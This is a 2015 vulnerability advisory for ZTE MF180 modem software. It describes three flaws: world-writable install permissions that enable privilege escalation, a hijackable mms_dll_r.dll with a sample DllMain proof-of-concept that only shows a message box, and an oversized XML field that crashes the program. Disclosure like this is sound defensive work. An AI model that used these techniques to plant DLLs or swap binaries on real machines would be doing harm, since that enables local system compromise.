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HistoryJan 12, 2015 - 12:00 a.m.
ZTE Datacard PCW(Telecom MF180) - Multiple Vulnerabilities
Document Title:
===============
ZTE Datacard PCW(Telecom MF180) - Multiple Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1405
Release Date:
=============
2015-01-12
Vulnerability Laboratory ID (VL-ID):
====================================
1405
Common Vulnerability Scoring System:
====================================
6
Product & Service Introduction:
===============================
http://www.zte.com.cn/
http://www.zte.co.nz/main/Product_Downloads/MF180_downloads.htm
http://www.zte.co.nz/downloads/software/MF180_PC_Install.exe
Abstract Advisory Information:
==============================
An independent vulnerability-laboratory researcher discovered multiple vulnerabilities in the official ZTE Datacard ZTE Datacard MF180 PCW_TNZNZLMF180V1.0.0B02 (Telecom MF180 Modem).
Vulnerability Disclosure Timeline:
==================================
2015-01-12: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
ZTE Corporation
Product: Datacard MF180 (Telecom MF180 Modem) - Software PCW_TNZNZLMF180V1.0.0B02
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
Technical Details & Description:
================================
A local privilege escalation vulnerability has been discovered in the official ZTE Datacard MF180 PCW_TNZNZLMF180V1.0.0B02 (Telecom MF180 Modem).
The local security vulnerability allows an attackers to gain higher access privileges by execution of arbitrary codes.
The software suffers from a local privilege escalation vulnerability. Users are able to change the file with executable access to a binary of choice.
The issue is located in the misconfigured permissions values with the `F`(full) flag in the users and everyone group. The permissions are set to all
the binary files of the software in the same location. The files are installed in the `ZTE Datacard MF180` directory. The group/user permission for
the path is assigned to the everyone group. The full path with the permission misconfiguration allows local low privileged system user accounts to
exploit the vulnerability to gain higher access privileges. After the attacker replaced the binary file with the malicious code he can reboot the
system to gain higher access privileges. At the end the attacker is able to fully compromises the system by local exploitation.
The security risk of the local privilege escalation vulnerability is estimated as high with a cvss (common vulnerability scoring system)
count of 6.0. Exploitation of the vulnerability requires a local privileged systen user account without user for interaction.
Successful exploitation of the privilege escalation web vulnerability results in software- or system compromise.
The second discovered issue is a dll hijacking vulnerability in the mms_dll_r.dll. The issue allows local attackers
with process privileges to inject own code to the affected libraries.
The third discovered vulnerability is a denial of service bug that affects the local process. Local attackers are able to manipulate the
networkCfg.xml to crash the application with a runtime error that results in a unhandled exception.
Proof of Concept (PoC):
=======================
1.1
The vulnerability can be exploited by local attackers with restricted account privileges and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
--- PoC Session Logs ---
C:\Users\s-dz>cacls "C:\Program Files\Telecom Connection Manager"
C:\Program Files\Telecom Connection Manager Tout le monde:F
Tout le monde:(OI)(CI)(IO)F
NT SERVICE\TrustedInstaller:(ID)F
NT SERVICE\TrustedInstaller:(CI)(IO)(ID)F
AUTORITE NT\Système:(ID)F
AUTORITE NT\Système:(OI)(CI)(IO)(ID)F
BUILTIN\Administrateurs:(ID)F
BUILTIN\Administrateurs:(OI)(CI)(IO)(ID)F
BUILTIN\Utilisateurs:(ID)R
BUILTIN\Utilisateurs:(OI)(CI)(IO)(ID)(accès spécial :)
GENERIC_READ
GENERIC_EXECUTE
CREATEUR PROPRIETAIRE:(OI)(CI)(IO)(ID)F
C:\Users\s-dz>
1.2 Path Subversion Arbitrary DLL Injection Code Execution (mms_dll_r.dll)
ZTE Modems is prone to a flaw in the way it loads dynamic-link libraries (mms_dll_r.dll). The program uses a fixed path
to look for specific files or libraries. This path includes directories that may not be trusted or under user control.
By placing a custom version of the file or library in the path, the program will load it before the legitimate version.
This allows a local attacker to inject custom code that will be run with the privilege of the program or user executing
the program.This attack can be leveraged remotely in some cases by placing the malicious file or library on a network
share or extracted archive downloaded from a remote source. This can be done by tricking a user into opening
an unspecified file from the local file system or a USB drive in some cases
*/
#include <windows.h>
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
owned();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int owned() {
MessageBox(0, "ZTE DLL Hijacked\Hadji Samir", "POC", MB_OK);
}
1.3 PoC Local DoS Crash Exploit
First go to C:\program files\Internet Mobile\NetworkCfg.xml (Network configuration) and write "A" * 3000 in <ConfigFileName>"A" x 3000</ConfigFileName>.
Save it open the program. Now, the poc will crash the software ...
Security Risk:
==============
1.1
The security risk of the local privilege escalation vulnerability in the path directory is estimated as high. (CVSS 6.0)
1.2
The security risk of the dll injection softwarevulnerability in the mms_dll_r.dll is estimated as medium. (CVSS 5.6)
1.3
The local denial of service vulnerability in the xml configuration file of the software is estimated as medium. (CVSS 2.2)
Credits & Authors:
==================
Hadji Samir [email protected]
Disclaimer & Information:
=========================
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